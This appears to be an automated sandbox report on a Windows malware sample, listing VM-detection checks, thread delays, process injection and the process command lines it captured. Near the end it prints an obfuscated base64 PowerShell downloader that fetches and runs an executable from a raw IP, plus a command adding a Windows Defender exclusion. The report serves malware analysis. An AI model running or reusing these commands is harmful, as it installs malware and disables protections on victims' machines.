Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: wininit.exe PID: 4416, type: MEMORYSTR

Source: C:\Users\user\AppData\Roaming\wininit.exe	Memory allocated: 24D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Memory allocated: 2560000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Memory allocated: 4560000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Memory allocated: 73C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Memory allocated: 83C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Memory allocated: 8570000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Memory allocated: 9570000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3282	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6466	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7945	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1662	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7306	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2326	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\sg2bcrbf\sg2bcrbf.dll

Jump to dropped file

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2720	Thread sleep time: -15679732462653109s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4296	Thread sleep count: 7945 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4296	Thread sleep count: 1662 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1460	Thread sleep time: -8301034833169293s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe TID: 1544	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 6728	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2416	Thread sleep count: 7306 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6108	Thread sleep count: 2326 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4900	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe TID: 3744	Thread sleep time: -240000s >= -30000s

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
Source: C:\Windows\SysWOW64\mshta.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
Source: C:\Windows\SysWOW64\mshta.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS

Source: C:\Windows\SysWOW64\mshta.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
Source: C:\Windows\SysWOW64\mshta.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
Source: C:\Windows\SysWOW64\mshta.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\AppData\Roaming\wininit.exe

Code function: 9_2_00403D74 FindFirstFileW,FindNextFileW,FindFirstFileW,FindNextFileW,

9_2_00403D74

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Thread delayed: delay time: 60000

Source: powershell.exe, 00000003.00000002.1701805995.0000000005506000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Remove-NetEventVmNetworkAdapter
Source: powershell.exe, 00000003.00000002.1704660304.0000000007AD0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: MSFT_NetEventVmNetworkAdatper.cdxmlon
Source: powershell.exe, 00000003.00000002.1701805995.0000000005506000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Add-NetEventVmNetworkAdapter
Source: powershell.exe, 00000003.00000002.1704660304.0000000007AD0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: .MSFT_NetEventVmNetworkAdatper.format.ps1xmltN
Source: powershell.exe, 00000001.00000002.1825901541.000000000787F000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1827355546.00000000078CB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.2883912187.0000024C1B454000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.2882583070.0000024C15E2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: powershell.exe, 00000001.00000002.1825901541.00000000078A2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWH
Source: wininit.exe, 00000006.00000002.1789826206.00000000007D9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\
Source: powershell.exe, 00000003.00000002.1701805995.0000000005506000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Get-NetEventVmNetworkAdapter
Source: wininit.exe, 00000009.00000002.2881596868.0000000000948000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllC

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Roaming\wininit.exe

Code function: 9_2_0040317B mov eax, dword ptr fs:[00000030h]

9_2_0040317B

Source: C:\Users\user\AppData\Roaming\wininit.exe

Code function: 9_2_00402B7C GetProcessHeap,RtlAllocateHeap,

9_2_00402B7C

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Roaming\wininit.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\AppData\Roaming\wininit.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\wininit.exe"
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\wininit.exe"			Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Roaming\wininit.exe

Memory written: C:\Users\user\AppData\Roaming\wininit.exe base: 400000 value starts with: 4D5A

Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SYSTEm32\WINDOwSPOWershELL\V1.0\poWERShell.eXe" "poWershELl.ExE -eX bypAss -nOP -W 1 -C deViCEcrEDEntiALdEplOYmeNt ; InvOKe-EXpreSSion($(iNvoke-EXpreSSIoN('[sYStem.TExT.eNcoDiNg]'+[CHar]0x3A+[chAr]58+'Utf8.gETsTriNg([systEm.coNvErT]'+[ChAR]0X3a+[CHAr]58+'fRoMbaSE64sTRinG('+[ChaR]0x22+'JGozckggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURELXR5UEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVtYmVyZGVGSW5pVElPTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1UkxNb04uRGxsIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTE9ETWxJWUZIRixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlTyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMcmQsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGtDTXYsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc0t3aFNVZ0ZkKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiUEtKbWRxIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMWVBocGZaVmggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGozckg6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly82Ni42My4xODcuMjMxLzMzL2Nhc3BvbC5leGUiLCIkRU52OkFQUERBVEFcd2luaW5pdC5leGUiLDAsMCk7U1RBUlQtU2xFRVAoMyk7aUV4ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFTnY6QVBQREFUQVx3aW5pbml0LmV4ZSI='+[CHAR]0x22+'))')))"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -eX bypAss -nOP -W 1 -C deViCEcrEDEntiALdEplOYmeNt	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\sg2bcrbf\sg2bcrbf.cmdline"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\wininit.exe "C:\Users\user\AppData\Roaming\wininit.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESBF21.tmp" "c:\Users\user\AppData\Local\Temp\sg2bcrbf\CSC9DC7DEFBB3DB4CF88431EEB79FD9B6EB.TMP"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\wininit.exe"	Jump to behavior
